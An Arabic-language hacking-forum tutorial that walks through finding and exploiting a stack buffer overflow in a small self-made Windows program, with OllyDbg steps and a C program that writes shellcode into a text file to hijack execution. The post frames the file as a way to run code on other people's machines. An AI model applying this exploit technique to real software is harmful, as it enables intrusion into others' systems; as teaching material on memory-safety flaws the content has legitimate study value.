e.-.m.-.p.-.o
هل تريد التفاعل مع هذه المساهمة؟ كل ما عليك هو إنشاء حساب جديد ببضع خطوات أو تسجيل الدخول للمتابعة.

e.-.m.-.p.-.o

h.-.a.-.c.-.k.-.e.-.r e..m..p..o
 
الرئيسيةأحدث الصورالتسجيلدخول
اول منتدى متخصص للهاكر بكل انواعه........ قسم خاص بالميتا اسبوليت........ قسم خاص بالباك تراك........ قسم خاص ببرامج اختراق الاجهزه ........ قسم خاص ببرامج اختراق المحادثات........ قسم خاص ببرامج اختراق المواقع والمنتديات

 

 اكتشاف واستغلال ثغرات النظام منقول للفائده

اذهب الى الأسفل 
كاتب الموضوعرسالة
e.-.m.-.p.-.o
Admin
e.-.m.-.p.-.o


المساهمات : 81
تاريخ التسجيل : 06/03/2011

اكتشاف  واستغلال ثغرات النظام منقول للفائده Empty
مُساهمةموضوع: اكتشاف واستغلال ثغرات النظام منقول للفائده   اكتشاف  واستغلال ثغرات النظام منقول للفائده Icon_minitimeالإثنين مارس 07, 2011 11:23 am

لبداية : ثغرات أنظمة التشغيل

لو سألت ,, هل يمكن التغيير في ملف تنفيذي وطريقة عملة ؟! أكيد ستجد الجواب نعم

والأمثلة على ذلك البرمجة العكسية والكراك والباتش .....

كل هذة الأمثلة تغير في كود الملف التنفيذي ,, والتغيير في الكود بالتأكيد يغير في طريقة عمل الملف

والآن لو سألت هذا السؤال ؟!

هل يمكن التغيير في طريقة عمل ملف تنفيذي دون التغيير في كود الملف ؟؟؟؟؟!

أنا متأكد أن يكون جواب كل العقلاء والخبراء والمبرمجين هو : لالالالالا وألف لا ( يعني ماتدخل العقل )

ولكن ظهر لنا مجنون وقال ممكن ليش لا , وبدأ يبحث عن طريقة - هل تصدقون أنة وجدها

ولكن بشرط وهو حدوث خطأ , أهم شيء تعرفة في هذة المرحلة هو القانون التالي :

يمكن التغيير في طريقة عمل ملف تنفيذي دون التغيير في الكود بشرط حدوث خطأ



أريد أن أسال عندما نستخدم برنامج ويحدث خطأ أين ينتقل التنفيذ ؟! هل يخرج من البرنامج ؟

ماذا لو إستطعنا التحكم في مجرى التنفيذ ووجهناة لنقطة معينة , هل المطلوب التغيير في كود البرنامج؟!

أجوبة هذة الأسئلة : لا

سؤقرب لك ما أريد إصالة : بمثال تطبيقي , أعتقد أنها أسهل طريقة

-

مثالنا الأول عبارة عن برنامج هذا البرنامج يبحث عن ملف نصي في نفس المجلد

بعد أن يجدة يقوم بقرائة محتواة وعرضها بداخل أداة نص edit او ****box

ونحن بدورنا سنقوم بالكشف عن خطأ في هذا البرنامج ومن خلال الخطأ سنبحث عن ثغرة

تمكننا من إدخال كود برمجي وتنفيذة وتغيير مجرى البرنامج ,, دون التغيير في كود البرنامج الأصلي

فقط سنغير في محتوى الملف النصي ( من خلال محرر هكس )

وسنتعرف في هذا المثال على أكثر الثغرات إنتشارا في أنظمة التشغيل وهي overflow أو أخطاء الفيض



ستجد في هذة الرابط مثالنا , البرنامج + الشفرة المصدرية ( أخرج الملفات إلى مجلد )

كود PHP:
http://www.4shared.com/file/41438045/7e44a699/myexp0a.html



عندما تشغل البرنامج ستجد أمر Read file عندما تضغط علية , فإن البرنامج يقوم بقرائة

محتويات الملف النصي info.txt هذا الملف النصي موجود في نفس مجلد البرنامج

ويعرض المحتوى داخل أداة النص , ولو ألقينا نظرة على الكود الذي يقرأ الملف( الدالة Rfile )

لوجدنا التالي:

كود PHP:
BOOL Rfile(HWND mhWnd)

{



HANDLE hfile=(HANDLE)-1;

DWORD nbt=0;


// لاحظ حجم مصفوفة الحروف


TCHAR buf[10];


hfile=CreateFile ("info.txt",GENERIC_READ,FILE_SHARE_READ|FILE_SHARE_WRITE,

(
LPSECURITY_ATTRIBUTES )NULL,OPEN_EXISTING,0,NULL);


if(
hfile==(HANDLE)-1)

{

MessageBox (mhWnd,"ER: CreateFile ","Error 01",MB_OK);

return
1;

}


ZeroMemory(buf,10);

ReadFile (hfile,(LPVOID)buf,

(
DWORD)GetFileSize (hfile,NULL),&nbt,

(
LPOVERLAPPED )NULL);



SendMessage (mEdit,WM_SET**** ,0,(LPARAM)(LPCTSTR)buf);

return
0;


}



ستلاحظ في الكود المتغير أو المصفوفة buf حجمها 10 أحرف

يقوم البرنامج بقرائة الملف النصي وتخزين محتواة في المتغير buf بعد ذلك

ينقل إلى الأداة النصية , ماذا لو كان محتوى الملف النصي أكبر من 10 أحرف

بالتأكيد سيحدث خطأ ,, سنقوم بالبحث والنبش داخل هذا الخطأ

إفتح الملف النصي وقم بكتابة أي نص أكبر من 10 أحرف , ولكن لتطبيق الدرس

من حيث تشابة العناوين والمحتوى يفضل كتابة النص التالي :

كود PHP:
fffdsdddertttttttttyyyyyyyyyyyyyyyyuuuuuuuuuuuuuuuuuuiiiiiiiiiiiiiiiiiiiiiiioooooooooooooooooooopppppppppppppp



بعد أن تكتب النص في الملف info.txt شغل البرنامج بواسطة olly لمراقبتة

ضع نقطة توقف عن العنوان 0x004013E0 يمثل بداية الدالة Rfile (دالة قرائة النص,وعرضة )

بعد أن تضع نقطة التوقف شغل البرنامج ونفذ Read File يتوقف التنفيذ عن نقطة التوقف

وتمثل بداية الدالة Rfile في الكود المصدري ,,,, لاحظ الصورة (خاصة قسم المكدس )

اكتشاف  واستغلال ثغرات النظام منقول للفائده 704047286

سجل العنوان الذي سيخزن بة عنوان العودة وسير التنفيذ , بعد ذلك نفذ البرنامج

خطوة , خطوة بإستخدام F8 إلى أن تصل إلى نقطة الخطأ وهي الدالة readfile

وبعد تنفيذها لا حظ التغيرات

اكتشاف  واستغلال ثغرات النظام منقول للفائده 959560447

هنا الورطة , أكيد إكتشفتها ؟؟!

ماذا لو غيرنا في الملف النصي الأحرف 13 و 14 و 15 و16 وهي "tttt"

تمثل هذة الأحرف عنوان العودة سيستخدمها المعالج لإستمرار ونقل التنفيذ , غير هذا العنوان

إلى عنوان آخر بداخل الملف النصي ,هذا العنوان يمثل كود لبرنامج مثلاً؟؟؟!!!!!!!!!!!!!

لاحظ كيف سنغير العنوان + سنقوم بكتابة كود تنفيذي بداخل الملف النصي

بهذة الطريقة :

اكتشاف  واستغلال ثغرات النظام منقول للفائده 375822845

بعد أن تغير في العنواين , وتكتب الكود بداخل محتوى الملف النصي , تابع F8

إلى أن تصل إلى تعليمة العودة في نهاية الدالة وهي RETN وبعد ذلك سينقل المعالج

التنفيذ إلى العنوان الذي قمت بتحديدة وكتبت بة الكود التنفيذي

اكتشاف  واستغلال ثغرات النظام منقول للفائده 920965571

وبعد ذلك تتبع البرنامج F8 ولاحظ كيف سينفذ برنامجنا الكود الموجود بداخل الملف النصي

كود PHP:
http://www5.0zz0.com/2008/03/21/07/821972412.gif



وسينتقل لة التنفيذ , وبهذا نكون قد نقلنا التنفيذ دون التغيير في كود البرنامج الأصلي

وكل التغيرات والإضافات التي رأيناها كانت بداخل الملف النصي



ولأننا إستطعنا التغيير في سير التنفيذ دون التغيير في كود البرنامج , نكون قد إكتشفنا ثغرة

في البرنامج وسببها خطأ في الكود وهو عدم تحديد حجم القرائة للمتغير buf



وبعد أن نكتشف الثغرة , نقوم بكتابة ****lCode خاص بالثغرة وهو شبية بالكراك بعد كسر البرامج

ولكن ****lcode عبارة عن أرقام ثنائية 1 و0 وللتسهيل تكتب بالهكس

هذة الأرقام تكتب بداخل أي لغة برمجة مثلاً ثغرات الأنظمة تكتب ****lcode بواسطة لغة السي

ثغرات خوادم المواقع والسكربتات تكتب بلغة بيرل أو PHP أو ASP أو html

المهم أن يكون ****lcode عبارة عن أرقام بداخل هذة اللغات هذة الأرقام تمثل

كود بلغة الإسمبلي يمرر إلى الثغرة ليتم تنفيذة



والآن سنكتب برنامج بلغة السي ينتج لنا ملف نصي info.txt هذا الملف النصي مختلف

عن أي ملف نصي آخر , لأنة سيحتوي على عناوين الإنتقال لسير وتنفيذ البرنامج

بالإضافة إلى أنة سيحتوي على كود تنفيذي ( عبارة عن إظهار مسج )

وفقط بمجرد توزيع هذا الملف النصي على أي جهاز يحتوي على برنامجنا وبمجرد قرائة الملف

النصي نكون قد نفذنا أي كود أوبرنامج في الجهاز الآخر

هذا هو الكود + ****lcode

كود PHP:
#include <stdio.h>



char ****lcode[] =

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\xA4\xFB\x12\x00"

"\x90\x90\x90\x90\x90\x90\x90\x90"

"\x6A\x00\x68\x00\x00\x00\x00\x68"

"\xC4\xFB\x12\x00\x50\xFF\x15\xA0"

"\x40\x40\x00\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90"

"XxXx Virus.exe is loading....."

"\x00\x00\x90\x90\x90\x90"
;




int main()

{

FILE* hfile=NULL;

int nb;


if (!(
hfile=fopen ("info.txt","w+b"))) {

printf("Error: fopen()");

return
0;

}


nb=fwrite(****lcode,sizeof(char),

sizeof(****lcode),hfile);


fclose(hfile);


printf(" -- OKKKKKKKKKK --\n");

printf(" -|- Write %d byte -|- \n",nb);

printf("-- Create info.txt Virus --\n");


return
1;

}



ملاحظة : هل تشاهد طريقة ترتيب الكود - هذة الطريقة متبعة في كل
برامج إستغلال الثغرات ,, وأي كود تراة بهذة الطريقة يعتبر ****lcode لثغرة

المهم :
نفذ البرنامج لينتج لك ملف نصي , ضعة في مجلد البرنامج
وقم بتنفيذ الدالة Rfile لتلاحظ النتيجة
وهي: تشغيل الكود أو البرنامج الموجود في الملف النصي



-

وبهذا نكون قد أخذنا كل أقسام الثغرة , وهي

البحث عن خطأ بداخل أي ملف تنفيذي
محاولة إيجاد طريقة لنقل أو تغيير مسار التنفيذ في مرحلة الخطأ
كتابة ****lcode أو كتابة كود لإستغلال والإستفادة من الثغرة

-
وبعد هذة المقدمة المهمة جداً , سنأخذ في الدرس القادم(ضمن سلسلة الدروس)
مثال متقدم لطريقة إكتشاف ثغرة وتطبيقها في نظام وندوز
بالإضافة إلى طريقة عمل أشهر الفايروسات وكيفية إستغلال الثغرات
ودخولها إلى أي جهاز فقط بمجرد الإتصال بالإنترنت
الرجوع الى أعلى الصفحة اذهب الى الأسفل
https://hackermoop.yoo7.com
 
اكتشاف واستغلال ثغرات النظام منقول للفائده
الرجوع الى أعلى الصفحة 
صفحة 1 من اصل 1
 مواضيع مماثلة
-
» عايز تتعلم تعال ادخل فهرس دروس الميتاسبلويت منقول للفائده
»  منقول موضوع هام جدا في الميتا اسبوليت.wmv
» شرح الآحتراف في عالم الميتا سبلويت منقول من الاخ دكتور هكر

صلاحيات هذا المنتدى:لاتستطيع الرد على المواضيع في هذا المنتدى
e.-.m.-.p.-.o :: الفئة الأولى :: ركن اختراق المواقع والمنتديات بــــــــ الثغرات والبرامج-
انتقل الى: